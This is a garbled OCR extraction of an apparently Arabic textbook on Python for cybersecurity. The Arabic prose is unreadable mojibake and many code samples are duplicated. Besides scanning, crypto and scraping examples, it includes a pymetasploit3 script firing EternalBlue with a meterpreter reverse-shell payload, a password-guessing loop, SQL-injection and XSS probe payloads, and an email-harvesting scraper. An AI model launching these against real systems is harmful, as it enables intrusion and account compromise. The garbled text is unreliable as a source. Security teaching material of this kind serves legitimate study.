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print("Hello, World!")
public class Main {

public static void main(String[] args) {
System.out.println("Hello, World!");

il Jdasg aiasl .1

import nmap
scanner = nmap.PortScanner ()

scanner.scan('192.168.1.1"', '22-443")

print (scanner.all_hosts())
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from scapy.all import *
ping = IP(dst="192.168.1.1") / ICMP()
response = srl(ping, timeout=2)

response.show()

&l Olaopl Juas M

import pefile
pe = pefile.PE('malware.exe')

print (pe.dump_info())

Galgal &kiwllg diosDl P

with open('access.log') as logfile:
for line in logfile:
if '404' in line:
print(line)

Slpall WAl €W
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.aaopl Glgeall Aauaiig oUUeiwll diail Jal

:Metasploit pe JUiwl 3aid) gl pladiwl :Jlio
from pymetasploit3.msfrpc import MsfRpcClient

client = MsfRpcClient('password', server='192.168.1.1")
exploit = client.modules.use(
'exploit',
'windows/smb/ms17_010_eternalblue'
)
exploit['RHOSTS'] = '192.168.1.100"
exploit.execute(

payload='windows/x64/meterpreter/reverse_tcp'

&bl oldlodl Juaig olleiwll pglhi (1d dnniio gil &ifo :Pwntools -
.a=dlgll oAl u‘m cUng CTF ol gm g_l.ulg dlni e padiuj f‘9 QUi

:Buffer Overflow 6)513J1 & jolas 6p%i JUiwl :Jlo
from pwn import *
conn = remote('example.com', 1234)

conn.sendline(b'A' * 100)

print(conn.recvall())
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.Windows

i1aai wlo o anai Glogleo alaiwl (Juo

import pefile

pe = pefile.PE('malware.exe')

print (pe.dump_info())

cliy &ipAll Glaopl Wuini padius (idlg YARA aclgd @uhil &so yara-python -
.63320 Olsufigig &gl blail (1le

‘i Olaabir o liny dlo ana 1dlio
import yara

rules = yara.compile(filepath='malware_rules.yar')
matches = rules.match('suspicious_file.exe')

print (matches)
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with open('access.log') as logfile:
for line in logfile:
if '404' in line:

print (line)

BLAN TP (uglic pAn Jio &laiwll Olelal diost :¢ialgall &lauwll
B glgic Pan) (U jlaq dacld dalal :Jlio
import os
malicious_ip = '192.168.1.100'

os.system(

f'iptables -A INPUT -s {malicious_ip/ -j DROP'

Auzun pé bloil @lius] aie apidly guan) Jiiy aSuill 45)n adlo :aSuill ddlo -
:Scapy pladiwlb SSH &5 A caluis| :Juo

from scapy.all import sniff

def packet_callback(packet):
if packet.haslayer('TCP') and packet['TCP'].dport == 22:
print(
f"SSH traffic detected from {packet['IP'].src}"
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sniff (prn=packet_callback, count=10)

(OSINT) dagidoll jalnoll wlogleo goa  V.P.

Jddai o loawo Ijga Open Source Intelligence (OSINT) dagiaoll jalnoll Glogleo caeli
Al 13a) allio 6lal Python asz;'g (gl Ul Olayaail

gl olhhan o bl Al aiiso :BeautifulSoup -
icng daan go hylgyl alaiwl :Jio

from bs4 import BeautifulSoup

import requests

url = "https://example.com"

page = requests.get(url)

soup = BeautifulSoup(page.content, "html.parser")

for link in soup.find_all('a'):

print(link.get('href'))

APl ©laalg go Jelailg HTTP ol Juyl &iso :Requests -
:Olagaay ohuaiwl doad e pliwll (Juo

import requests

response = requests.get(
"https://api.threatintel.com/ip/192.168.1.100"
)

print(response. json())
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.RSAg AES (Jio 63a=io paiy Olwojjlga peai &uifo :PyCryptodome -

:AES pladiwb alwy paiby ;o

from Crypto.Cipher import AES

from Crypto.Random import get_random_bytes

key = get_random_bytes(16)

cipher = AES.new(key, AES.MODE_EAX)

ciphertext, tag = cipher.encrypt_and_digest(
b'Hello, Cyber Security!'

)

print(ciphertext)

.Ul d&ollw o Gaailg Hash agjail oudll adgi) &ko :hashlib -

:SHA-256 &oud agi :Jlio

import hashlib

hash_object = hashlib.sha256(
b'Hello, Cyber Security!'

)

print (hash_object.hexdigest())
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\leai byl a3 30il (ile @jadg Selidl alell wiblag dhyuul @iid . (ulpuudl ol
Aol JKiy @y Ay awdll 138 (18 .6pall (193 guglrallg Gwiaiall oo JS) duwlio
olg Javag C Jio gl cilel Wijlio go il ol Jao (1a G)la Lole gl Jawll

Aol plaol) d=ypull da30il (14 @Llo

el dlgaung dlnuudl adl  LLC

Wio LA ke, Lo dbluylg agagl ke 55 il &ay34lg dayail Wiy obl Jaudls
ayle 6elas) liilung waanig Sauill &S Ul gealiny guall Yl goll (inital

09U &y pailna pal
09 Spanill Jis xyaai daljll 9ol padius :(Indentation) aaljul yile aloicll -
sl &lawg Lyny danlg dpapidl Jea loo babeo gulgdl gul aalll

o il pfail Golwi 4o aps 9esi ol cuon :apiul d2ll (10 duyb asln -
autsq @icld Jawy
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alao plaall guds jil pawbl go Jai hae ol claw :&aacl sauidl Juas -
.claAll adlaial Jlay boo (1Al olel

:Co gl 16 dnwy JhS5 aln &jldo 1 o

for i in range(5):

print (i)

#include
int main() {
for (int i = 0; i < 5; i++) {
printf ("%d\n", 1);
}

return O;

Jiill Ja wwai il Ja gile Sl gulpul goll guaido) ggil abluy A

a2l Olauden

Java) (C. il wled go djlao LM
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C Qléo ygib

8)S13U &y93 81l C callaws Laiy «rgiawall gle 1325 9ol g : pladiwll dlgaw -
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sl Jobl cadg Ul C Qliny g 18 de puy Jolall pglas gghly auis <ol dcjw -
-anillg

9l GUUsiwll pohs Jio) clall dwluall plaol dunlio C aei :pladiunll Glko -
Asypul da3aillg diaill 18 gl §9aii loiy (giuall &AdAio wigalll

(Sockets): gwldoll pladiwlb paly Juaill hu aobp (Jlio

# Python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect (('example.com', 80))

s.sendall(b'GET / HTTP/1.1\r\nHost: example.com\r\n\r\n')
print(s.recv(4096))

// C

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>

#include <string.h>

int main() {
int clientSocket;
char buffer[1024];

struct sockaddr_in serverAddr;

clientSocket = socket(PF_INET, SOCK_STREAM, 0);
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(80);

serverAddr.sin_addr.s_addr = inet_addr("93.184.216.34");
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memset (serverAddr.sin_zero, '\0', sizeof serverAddr.sin_zero);

connect(clientSocket, (struct sockaddr *) &serverAddr,

— sizeof(serverAddr));

send(clientSocket, "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n", 37, 0);
recv(clientSocket, buffer, 1024, 0);

printf ("Data received: %s", buffer);

return O;

gl Gl golll plao pheo) cusll LA Wio 6chal lanbldg gobb bl Jai
.pohil (né dgauwg il (1 de pw el

Java (bldo (gL
.agngllg Jliall bl jais loiy (Jobl @05 8pauh Java wlhii :oawll -

©la Java o ajléo pohill ayloc g1y lowo &xioliyall glgilll (nle il aaisi :digpall *
il glgsll

18 g9l §94i laiy duuwdall Olaynil (14 8)iK) Java oA 5 2 plaaiwll ollao -
.aiosllg ol

:Javag goil g1 HTTP wlb Audis 1o
import requests

response = requests.get("https://example.com")

print(response.text)
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// Java
import java.net.x*;

import java.io.*;

public class Main {
public static void main(String[] args) throws Exception {
URL url = new URL("https://example.com");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod ("GET") ;
BufferedReader in = new BufferedReader(
new InputStreamReader(conn.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null) {

System.out.println(inputLine) ;
b

in.close();

auioll plaol dsypull @adadl  PLLC

dadoill yile gghl 838 asig lawh Lole cidgll g% o Wé (il ol Jao (1é
ey @ylialg Jolall ek go ganidoll GXes Gy laigs bl jul go asyul

Oo9bl olaAiul dsypl a2 3adl Lljo
g dpapidl il REPL &aalg i gupudl cupaill +

ol goj JLas 8jaly Ugla yag5 :dyie wlio doglhio *
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.aailéll olgall go JolSilly plaall diail Jauws :diSull Glhas -
:obl pladiwl de puy hyuy Adlio puwlo cliul] o

import socket

def scan_port(ip, port):

try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout (1)
result = sock.connect_ex((ip, port))
if result ==

print (f"Port {port} is open")

sock.close()

except Exception as e:

print (f"Error scanning port {portt: {e}")

target_ip = "192.168.1.1"
for port in range(l, 1025):
scan_port(target_ip, port)

A2yl 3ol g18 il 6clas j b gag (Gilda JUA ojlialg cuypSull 13a &US gSay

Sl goll (18 ol dgauww :anllA)l E.LM
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Y18 dowh a5 Wiilko jj= loo «Glaiall Wliro go @Aadlgig dewlgl @iliso doglio
-ulpaud! ol

wlgallg wlisoll o gwlg Glni .0

Syl ol gl 13l Ul Jnall
dnio lales 3 lagd bl plcl aal Python (1 wlgalllg Gkl ()l (il pUAl A=,
00 d=wlg dcgaaal gal Ugla olifall 03d jagi .Ul golll raniio) dlolsio
bl .ol Julasg &bl Ul Dgng diuall ol Julaig GEall Wil o lea olaol
oX0ug 6adeall plaall hiuy s ang)9 (awlgl (il pUADI 138 (ile cgAll puudll 13

.uiel 6elas) Joa=ll (o cunisoll

09l gl pUAUl (ke dole 6A;  ILI.C

daonoll Pallig olifall Ul oAy ¢ gaill (14 ojlpoiwlg aclusl gl (il pUAI jlioy
dngido gyliwo 1o ggedluw gyghall o il 8ma.o oAl 138 pexyg 63320 plaa)
.Ul golll Jlao (1é KUl dsls (16 goib clédy oy loo ganall

0ol (il pUA duulw Dl gaitaill

l@olaAiwl Soyg Janall dagiao gl wlifo phAwo :janall dagidao GLiso -
.033100 ulalinl auli) Ay Wb aeig

Ul 2i05 Jy Jnda (uilpul goll (le Goil wifo paids U :ollaoll dasio Galgs -
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Ja uile pSyulg gala wlgal o 8alaiwll o goll iaido ugll eUAll 13 %oy
Sl o ©lgall el dalel (o Uay oUSiiall

Slpall Jwial sjala Jgla  r.r.r

8lSlaa) 6aa=io wlgalg wlifo gil 18939 (Uil ol (18 higao laic GlEAUI WAl A=,
Aol ol wliuflg Glaaall

Slpall jwial oliso eal
laba=ig Wlwylg pjal cbisl pus @il pjx Julaig dallea) d,98 duso :Scapy -

claill (ansg ylll ghaall Sl Jio plaw id paduug
:&nnio TCP aoja Juylg cliu] :Jlo

from scapy.all import *

packet = IP(dst="192.168.1.1") / TCP(dport=80, flags="S")
response = sril(packet, timeout=2)

response.show()
ol wliifly ouill (paa 1o PAALLY Nmap ol daalg :python-nmap -
.@agiaonll Aaliadl Julaig
12220 jl@n yue Adlio degoao (paa (Jlio
import nmap
scanner = nmap.PortScanner ()

scanner.scan('192.168.1.1"', '22-443")

print(scanner.all_hosts())
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Aaaiig GUULuw I diosl) Metasploit go Jelaill (gild S0y :Framework Metasploit -
.Anopll aligoall
Metasploit: pladuwl JULiwl Aais :Juo

from pymetasploit3.msfrpc import MsfRpcClient

client = MsfRpcClient('password', server='192.168.1.1")
exploit = client.modules.use(

'exploit',

'windows/smb/ms17_010_eternalblue'

)
exploit ['RHOSTS'] = '192.168.1.100"
exploit.execute(

payload='windows/x64/meterpreter/reverse_tcp'

atnAll Olaopl Jdai sjala Jgla Pl

lfai go ouiall o5 G Al Gl Jilai (16 gwlg Gl gile Python paiiws
Al @sglin padg llall Clyauill

aiuA)l Glaopl Judai olifo eal
.Windows &laop g1a deiuill Portable Executable (PE) wlalo Juai duiko :pefile -
(18l dlo o Wlogleo alaiwl Jlo

import pefile

pe = pefile.PE('malware.exe')

print (pe.dump_info())
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.inAll Glaopll @uini YARA aclgéd @uhnig clisl &iso tyara-python -

YARA: aclgd plaaiwl calo (nad :Jlio
import yara

rules = yara.compile(filepath='malware_rules.yar')
matches = rules.match('suspicious_file.exe')

print (matches)

olaloll Julaig Disassembly Glowdsil chfai claioll aagio cudA jlal :Capstone -
LAt
1 Bpaub ey 1 o

from capstone import *

code = b"\x55\x48\x8b\x05\xb8\x13\x00\x00"
md = Cs(CS_ARCH_X86, CS_MODE_64)

for i in md.disasm(code, 0x1000):
print(

f"0x{i.address :x/:\t{i.mnemonic /\t{i.op_str}"

aiasll 6jala Jgla  E.C.C

Jall 138 (16 Wagas gl cusl adg «wanll il goll 1a gulwll jan diasbl A%
il elnAll Juldig 6)pKioll plaoll by JUA o

aiasll owiko eal
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0=l palgAll §)lal diaslg SSH JoSgigu Axdii) duiko :Paramiko -
tasy e pol 34005 1 Jlio
import paramiko
client = paramiko.SSHClient ()

client.set_missing_host_key_policy(

paramiko.AutoAddPolicy ()

)

client.connect(
'192.168.1.1",
username='user',
password='password'

)

stdin, stdout, stderr = client.exec_command('ls -1')
print (stdout.read() .decode())

client.close()

.dolilll g)lalg SSH plao il (igiwoll dle &yio :Fabric

Fabric: plaAiwl pol Auais :Jlo
from fabric import Connection

result = Connection('192.168.1.1") .run(
'1s -1',
hide=True

)

print (result.stdout)
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.63320 duioj wlia (e plaoll &Jgan) ko :Schedule -

oy Juai doao dlgan 1o

import schedule

import time

def analyze_logs():
print("Analyzing logs...")

schedule.every() .day.at("10:00") .do(analyze_logs)

while True:
schedule.run_pending()

time.sleep(1)

Ul golll 16 (il 9ol pUAS (rie :anlAll 0.r.0

(}o.gvhgudlg}obljﬂap (o0 G=1wlg dcgn;nJéyac;bgla(JgﬁulgnﬁdlgnuplpUéﬂl}bgg
cuniroll olifall o3a X059 .Gl Juaig diasDl (Ul il Gbaopl Judaig Glpall juial
.63ﬁgnﬂcbgaaﬂlda;@pgph:ﬁmﬂb<hﬁgﬂHﬁgﬁgn.uﬂniénbdnguUIon



2h)
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Syl goll gl 13l Ul Jnall
aolll (ayino (1) WAdo LA Python cilea qull whwll eal (o Golgily digrall ass
1Al daop Ole) go gulwll JolSillg ba3=io Glnio pe Josll gile @ijad gl - guilpal
33=i0 9ol ped awdll 138 gapeiuy &bl Ghanil wWlito go WiSill dle 418 @aiay

-l goll oliy gond Widled pisi gra cli pilig (Jolkil ool wlaiall

mMacOS) Linux. (Windows. Glnioll aa=io pcall  LP.M

ajpo 6lal lalea, Lo macOSq Linuxg Windows (Jio 63a=io Jais dalhil (ke Python Josi

09hly &19iSall Jollg wlgall Josi ¢l @algil 13 ey gl golll (uaniial &)lel
Qg wlbaei gl d&akll 9a dalido Oliy y1d

Olnaiall aa=io pcall bljo

Oluei 20 gl dnio (ke bo dnio (ile &giSoll Glpanill Jasiin gSoy :gulw J@il -
Olues 93 ol ddaln

uo.n;gmwlam}muhumwmu.omgnmdm zwlowlgomﬁl .
Aol graa pe lunai olgall pladiwl ggil

Al lowo Ayl dungall Glaio il 9ol eca aiay dplhuwl Oliyl 20 Galgdl -
Aplaudl diail gudl ¢pol) dunlio

:aalido Glaio gile ggbl cupin Jasais :Jlo

import platform

print (f"Running on: {platform.system() platform.release() /")



(od)

Olnialt anlh oliso
annio 39S wlikall jay i Ul (Glniodl 63a=io Buwai gl a2l o go aéyl gile
anlall plaoll phsal duulio Jilay goil) il pUADI 1ag, (U3 209 i) Jaui dalhil)

anll olauhil daop olaalg yUl Jongll pywin32 Jio olifo jagi :Windows -
.j9aig plAL

. pUAI (ngiwo (ke Cllae 34405 os g subprocess Jio wbiso puii :Linux -

dioslll Jawy loo macOS. ol (1a gusig, din o dwlluy (gl Jolsis :macOs
-Qunill d&aopllg

s Jaabill pUAS cuwa dalido polgl Auais :Jlo

import os

if os.name == 'nt':
os.system('dir"')
elif os.name == 'posix':

os.system('ls"')

g1l daop 0l go Jolkil .0

l@aioy lao Javag C++q C Jio gmal daop wle) &0 JoKil (le allell @jad) Python juoii
.Ul clallg plajiwll dlgaw gu goai &dlAl digro

Ct++ 9 C go Jolill
Jio Ll daigall plaoll (né gulell clalll o éalaiwll) C++g C 2o ggbl p0a oy
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395 (Jigaig C o duyyd &ely Extensions wlang &)Uy powy gobl alaiol :Cython -
C. gl yoilb
:8la gypui) Cython plajiwl 1o

def fibonacci(int n):
cdef int a =0, b =1, i
for i in range(n):
a, b=>b, a+b

return a
.C a2ly 4,9i50 &5 o ©wbifo o JI9a cleaiwl puis &uiko :ctypes -
:aunléll C &ifo (o &la cleaiwl :Jlio
import ctypes

libc = ctypes.CDLL('libc.s0.6"')
print(libc.time (None))

Java go JolKill
oo Salanwlly pouw lao Py4l gi JPype Jio wlgal pladiwl Java go Jelail gobld o<y
.09l Ol oA Wl oliso

ol 298 Jasais o gghl poly X5 &iso :JPype -
:09hb JAla (o Java ags Jusuis :JUo

import jpype

jpype.startJVM(Q)



java = jpype.JPackage('java')

System = java.lang.System

System.out.println('Hello from Java!')

jpype . shutdownJVM()

plall OliySw &0 Joil

Ja=ll pwg aJll wlgall go @0 Jauy oo Spblo pUAIl jolgl Axais Python guniws

import subprocess

result = subprocess.run(
['1s', '-1'],
capture_output=True,
text=True

)
print(result.stdout)

. aslall
:ypolgll Jaw (o pol Axais 1o

@Galgillg digpal) dudlg wlauhs  F.P.I

golll Glauhs oo dswlg dcgana) luwlio hla Ao (Ul Wadlgiy ool &gy J=as

@jpl o Ul

S asi 993 Jasuindl daail wlido (ile Josi lgal pghi :olaioll 83asio Glgal -

clall dyle ©lgal el (Al wlklg 9ol gu gaall :dura Jol -

Aniall ge Al Ay dpbul oliwl (14 &ioll plaall diosl :aplaul dungall ool
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import platform

import subprocess

def scan_network(ip):
if platform.system() == "Windows":
command = ["ping", "-n", "1", ip]
else:

command = [llpingll, "_C”, ||1n’ lp]

result = subprocess.run(
command,
capture_output=True,

text=True

if "bytes" in result.stdout or "TTL" in result.stdout:

print(f"{ip} is up")

scan_network("192.168.1.1")

Julpudl goll (na lmadlgig ggil digpo :anlAll  E.M

Glgaly Cle) go Jolkil il Wiad Luila Ul 633910 Claio pe Jozl Python &ibld pics
doil (le Josi wlgal jghns Cuﬁilmuu -gUUHudlg}oDI"n: Aj |ﬁyUﬁuulagﬁ.unji
&2l el s Gobl &igro Glo Ba3eio Ol 203 pe clall ddle Ugla i of @alio
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a<uill pja Juas Jlao (1 &igyo Python wliko jisly (ngal (o 63alg Scapy &uifo e
labaeig @lw)lg &<uill pja cliu] go gl goll graide &iiall 03a US.QJ Rinlleog
Ol glihiwlg «lieill ganag Wl ghaall il Jio olao (1é duulwi 8lal lalea, oo
10 @oladiwl &ai59 &uwlwll @nilnag Scapy. &uifo ©had pwdll 13a (Apeiwy

&u=dlg ulmw gol Olagyliyw

Scapy Ul Goadgo LLW

o)l clii] groadiol) Auisg Python ke anies aSuill pja dalleo) dulelas olal J1a Scapy
goll Jraido Jud 0 guwlg GUai yile &uisoll 0ia PAALY .Adle digpoy l@llasg @lwylg
ol Olanailg GEuill JWAl Gw Qglii plao b (pinWlg (Ol LW iR0g (Ll
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{UDP .TCP/IP (Jio &<uidl &:UgSgigp (o asll Scapy e :olgSgigull gwlg aca -
Aapég HTTP .DNS ICMP

ayio lalea, lao aojall Joda gred 14 (b laas Scapy quii :annio oja civ) -
.l Lall

Jbwo (18 63,49 Sjroo 6lal Ao (ngiwall &AdAio pinll go Joleill yile Scapy §)ad Jeai
-ulpaud! ol

@baeig dalwyl «ojal clivl auulwil (Aillaall P

d94 6lal laley o (189 labasig alw)lg «ojal cliul (ile Scapy J duwlwll wilhgll aoies
.ol juialg elEuidl Juai

ol il
.0lgSgigull yuato Wl (o ddudn JS 3yaas pe dnndo pja cliuh Scapy aowws
:TCP &g yile (1gini IP doja cliuil :Jio

from scapy.all import IP, TCP

packet = IP(dst="192.168.1.1") / TCP(dport=80, flags="S")
print (packet.show())

L)l Juwyl
.sendp()9 send() Jio «agapl Judiwlg pjall Juwyl Jlga Scapy pagi
:annio TCP doja Jlw)l :Jlo

from scapy.all import send, IP, TCP

packet = IP(dst="192.168.1.1") / TCP(dport=80, flags="S")
send (packet)
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ol Jass
.G lgSgigull juialg pjall géa Jio plao (16 3o jol gag B3gagall pjall Jiaei Scapy uis
ICMP &oja (16 TTL &oud Jyass 1o

from scapy.all import IP, ICMP

packet = IP(dst="192.168.1.1", ttl=64) / ICMP()
packet [IP] .ttl = 128
print (packet.show())

il Janag Q)W glaadl jwiAal @ pladiwll ol PP
-Julpl goll plao (o dwlg degano) duulio 8lal laio Scapy digyo J=ai

)Wl ghall juial
obluiwll Juaig dnnido ol Juyl pe ayl ghaall aclgd jwidAll Scapy pladiwl (Soy
ICMP pja) gyl jlandl &lkiwl juial 1 Jlo

from scapy.all import IP, ICMP, sril

packet = IP(dst="192.168.1.1") / ICMPQ)

response = srl(packet, timeout=2)

if response:
print("Firewall allows ICMP traffic")
else:

print ("Firewall blocks ICMP traffic")

il (paa
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.849p20 Wen blai Jeiw e Juyl pe olgil @bin$ Scapy pladiwl g<ay
:TCP SYN awwo pladiwl dagianll ddliall jana :(Jio

from scapy.all import IP, TCP, sril

def scan_port(ip, port):
packet = IP(dst=ip) / TCP(dport=port, flags="S")
response = srl(packet, timeout=1, verbose=0)
if response and response.haslayer (TCP):
if response[TCP].flags == "SA":
print(f"Port {port} is open")
elif response[TCP].flags == "RA":
print (f"Port {port} is closed")

target_ip = "192.168.1.1"
for port in range(1l, 1025):
scan_port (target_ip, port)

(Ping) ICMP cully Juu)| :néuhi Jio E.LP

Sl Juasll jwial ICMP (Ping) ol Juyyl Scapy dusal legub Elolaaiwll gl oo
iy1op Jlo

from scapy.all import IP, ICMP, sril

packet = IP(dst="192.168.1.1") / ICMPQ)

response = srl(packet, timeout=2)

if response:
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print (f"Response received from {responsel[IP].src}")
response.show()
else:

print("No response received")

sl
Ping. doja cliul ICMP()g IP() pladiwl :dojal cl] .|
.63alg &laiwl UAilg dojall Juul si1() pladiwl tdojall Juwyl I
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éiaa Ul caliiflg ouill (paé --- Nmap .

Gl ool gl olifo eal :cJWl Jnall

0 Jao (1é blaauwl olgall j8T (o 6aalg (Network Mapper J laial) Nmap 8lai ass
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import nmap

scanner = nmap.PortScanner ()

scanner.scan(hosts='192.168.1.0/24', arguments='-n -sP')

for host in scanner.all hosts():

print(f"Active host: {host}t")
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import nmap

scanner = nmap.PortScanner ()

scanner.scan('192.168.1.1"', '22-443")

for host in scanner.all hosts():

print (£f"Open ports on ‘host/: {scanner[host]['tcp'].keys() /")
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import nmap

scanner = nmap.PortScanner ()

scanner.scan('192.168.1.1", arguments='-sV')

for host in scanner.all_hosts():
for proto in scanner[host].all_protocols():
print (f"Protocol: {protojt")
for port in scanner[host] [proto].keys():
service = scanner [host] [proto] [port]
print(f"Port {port}: {servicel'name']} ({servicel'product']

o service['version'] ")
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import nmap

scanner = nmap.PortScanner ()
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scanner.scan('192.168.1.1"', arguments='-sV --script vuln')

for host in scanner.all_hosts():

print (f"Vulnerabilities on {host}: {scanner[host]['tcp']}")
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import nmap

scanner = nmap.PortScanner ()

scanner.scan(hosts='192.168.1.0/24"', arguments='-0")

for host in scanner.all hosts():

print(f"Device: {host}, 0S: {scanner[host]['osmatch'] [0]['name']}")
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import nmap

scanner = nmap.PortScanner ()

scanner.scan(hosts='192.168.1.0/24"', arguments='-sP')

authorized devices = ['192.168.1.1', '192.168.1.2"']



for host in scanner.all_hosts():
if host not in authorized_devices:

print (f"Unauthorized device detected: {host}")
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import nmap
scanner = nmap.PortScanner ()
target_ip = '192.168.1.1'
scanner.scan(target_ip, '22-443')
for host in scanner.all_hosts():
print(£f"Scanning results for {host}:")
for proto in scanner[host].all_protocols():
print (f"Protocol: {protoit")
for port in scanner[host] [proto] .keys():
state = scanner[host] [proto] [port] ['state']
print(f"Port {port}: {state}")
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from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes

key = get_random_bytes(16)
cipher = AES.new(key, AES.MODE_EAX)

message = b"Hello, Cyber Security!"

ciphertext, tag = cipher.encrypt_and_digest (message)
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print (f"Key: {key.hex()}")

print (f"Nonce: {cipher.nonce.hex() /")
print (f"Ciphertext: {ciphertext.hex()}")
print(f"Tag: {tag.hex()}")

decrypt_cipher = AES.new(key, AES.MODE_EAX, nonce=cipher.nonce)
decrypted_message = decrypt_cipher.decrypt_and_verify(ciphertext, tag)
print (f"Decrypted message: {decrypted_message.decode() /")
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from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

key = RSA.generate(2048)
public_key = key.publickey()
private_key = key
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cipher = PKCS1_OAEP.new(public_key)
message = b"Hello, Cyber Security!"

ciphertext = cipher.encrypt(message)
print (f"Ciphertext: {ciphertext.hex() /")

decrypt_cipher = PKCS1_OAEP.new(private_key)
decrypted_message = decrypt_cipher.decrypt(ciphertext)
print (f"Decrypted message: {decrypted_message.decode() /")
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import requests

response = requests.get("https://example.com")
print (response.status_code)

print (response.text)
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import requests

response = requests.get("https://example.com")
print (f"Status Code: {response.status_code/")
print (f"Headers: {response.headers/")

print (f"Content Preview: {response.text[:100]}")
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import requests

session = requests.Session()

response = session.get(
"https://example.com/login",
params={"username": "user", "password": "pass"}

)

print(session.cookies)
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import requests

payload = {"username": "admin", "password": "password"}

response = requests.post("https://example.com/login", data=payload)

if response.status_code == 200:

print("Login successful")
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else:

print("Login failed")
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import requests

payload = {"username": "admin' --", "password": "test"}

response = requests.post("https://example.com/login", data=payload)

if "error" in response.text.lower():

print("Potential SQL Injection vulnerability detected")
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import requests

from bs4 import BeautifulSoup

response = requests.get("https://example.com")

soup = BeautifulSoup(response.text, "html.parser")

for link in soup.find_all('a'):

print(link.get('href'))
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import requests

response = requests.get("https://api.example.com/data")
if response.status_code == 200:
data = response.json()

print(data)
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import requests
url = "https://example.com"
response = requests.get(url)
print (f"Status Code: {response.status_code/")
print (f"Headers: {response.headers/")
print (f"Content Length: {len(response.text)} bytes")
print (f"Preview: {response.text[:100]}")
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import requests

url = "https://example.com/search"
payload = {"q": "<script>alert('XSS')</script>"}

response = requests.get(url, params=payload)

if payload["q"] in response.text:
print ("Potential XSS vulnerability detected")
else:

print("No XSS vulnerability detected")
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from bs4 import BeautifulSoup

html_doc = """
<html>
<head><title>Example Page</title></head>
<body>
<p class="title"><b>Example</b></p>
<p class="content">This is an example page.</p>
</body>
</html>

soup = BeautifulSoup(html_doc, 'html.parser')
print (soup.prettify())
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from bs4 import BeautifulSoup

html_doc = """
<html>
<body>
<p class="title"><b>Example</b></p>

<p class="content">This is an example page.</p>
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</body>
</html>

soup = BeautifulSoup(html_doc, 'html.parser')
paragraphs = soup.find_all('p')

for p in paragraphs:

print (p.text)
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from bs4 import BeautifulSoup

html_doc = """
<html>
<head><title>Example Page</title></head>
<body>
<p class="title"><b>Example</b></p>
</body>
</html>

soup = BeautifulSoup(html_doc, 'html.parser')
title = soup.title



10

print(f"Title text: {title.text}")

print (f"Parent tag: {title.parent.name/")
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import re
import requests

from bs4 import BeautifulSoup

url = "https://example.com"
response = requests.get(url)

soup = BeautifulSoup(response.text, 'html.parser')

emails = re.findall(r' [\w\.-]J+@[\w\.-]+', soup.get_text())
for email in emails:

print(email)
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import requests
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from bs4 import BeautifulSoup

url = "https://example-news.com"
response = requests.get(url)

soup = BeautifulSoup(response.text, 'html.parser')

headlines = soup.find_all('h2', class_='headline')
for h in headlines:

print (h.text)
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import requests
from bs4 import BeautifulSoup

from collections import Counter

url = "https://example.com"
response = requests.get(url)

soup = BeautifulSoup(response.text, 'html.parser')

words = soup.get_text().split()
counts = Counter (words)

print (counts.most_common(10))
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import requests

from bs4 import BeautifulSoup

url = "https://example.com"

response = requests.get(url)

soup = BeautifulSoup(response.text, 'html.parser')

links = soup.find_all('a')

for link in links:

print(link.get ('href'))
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import requests
from bs4 import BeautifulSoup

import pandas as pd

url = "https://example.com/table"

response = requests.get(url)
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soup = BeautifulSoup(response.text, 'html.parser')

table = soup.find('table')
headers = [th.text for th in table.find_all('th')]

rows = []
for tr in table.find all('tr'):
tds = tr.find_all('td')
if tds:
rows.append([td.text for td in tds])

df = pd.DataFrame(rows, columns=headers)

print(df)
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-ondudall cuaadoll olidig cuwlwl alds :dreélgl Gloaall slSkho -

alolid (il ol &xaptiwl (ol (1a Gl laic GEAUI LAl Ay

Pwntools g Metasploit : gl wlgal [.LE

olaall diasl aouy oo (GlEAll WAL obifallg Glgall (o dewlg degano Python jags
9 Metasploit :wlgalll oda jaubl o .wheil Judaig dnniall ollUsiull pghig
Pwntools.

Metasploit

Jalaig B 3,aiig GUL&w I pghhil Glgal pags (FhAUI WAL (1gd Jac jUn] Metasploit a;
ol @y Python &ifo yagy aif Ul Ruby asl Wi wgifo Metasploit gi pé) \aaili
.a20 y1aopll Joleill pymetasploit3

:Metasploit J auwlwll (ailnAll

dnnio olUgiwl juialg cbiul :oUULuwll pghi

.6332i0 Wljlagog dakAill lgoa cliul :(Payloads) dlgoall adgi -

oLl (plALlg Glallnll veni Jio plaw aai 1 JUsiwll asy o
pymetasploit3: pladiwl JULiwl 3ai :Jlio

from pymetasploit3.msfrpc import MsfRpcClient

client = MsfRpcClient('password', server='192.168.1.1")
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exploit = client.modules.use(
'exploit',
'windows/smb/ms17_010_eternalblue'

)

exploit ['RHOSTS'] = '192.168.1.100"

exploit.execute(payload='windows/x64/meterpreter/reverse_tcp')

Pwntools

Al olalall Julasjg Uil pghi (ua dnniio Python &uiso 1 Pwntools
Qu=dlgll Gliall olhual (g CTF Oliluo (14 gwlg Glai gile PG

:Pwntools J auwlw il (astnAll

Ol ollgiwl &S b collsaoll pghas -
&y psailg &yaaill olalall jana st olalodl Judag
Bzl ©UgLgigullg Gloaall go Jelawl :olSuill wigal -

Overflow): (Buffer 8,513l 2w jolas &85 JUeiwl :Jlio

from pwn import *

conn = remote('example.com', 1234)
payload = b'A' * 100
conn.sendline(payload)

print(conn.recvall())
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il @liuslg olaaall 8l8lao : pladiwll ol P.ILE
Jea JSiin oleil @liuslg sl Glaaall slao) Python olgal padiws
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.SSHg SMB Jio wlUgSgigp Wi JUsiwl :olsuill Gloaa -

.CSRFg XSSg Injection SQU juial :cugll Oliauhi Gloaa -

.guiall il Glloa diail :drelaia Ul dwaiall -

1)930ll GlalS (poAi pgad 6lslkao :Jlo

import requests

passwords = ["password", "123456", "admin", "letmein"]

url = "https://example.com/login"

for password in passwords:
r = requests.post(url, data={
"username": "admin",
"password": password
)
if "Login successful" in r.text:
print (f"Password found: {password}")

break

Ol wlisl

import nmap
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scanner = nmap.PortScanner ()

scanner.scan('192.168.1.1"', '22-443")

for host in scanner.all hosts():

print (scanner[host] ['tcp'] .keys())

AN WAl (14 Python jga :anlANl  E.LE
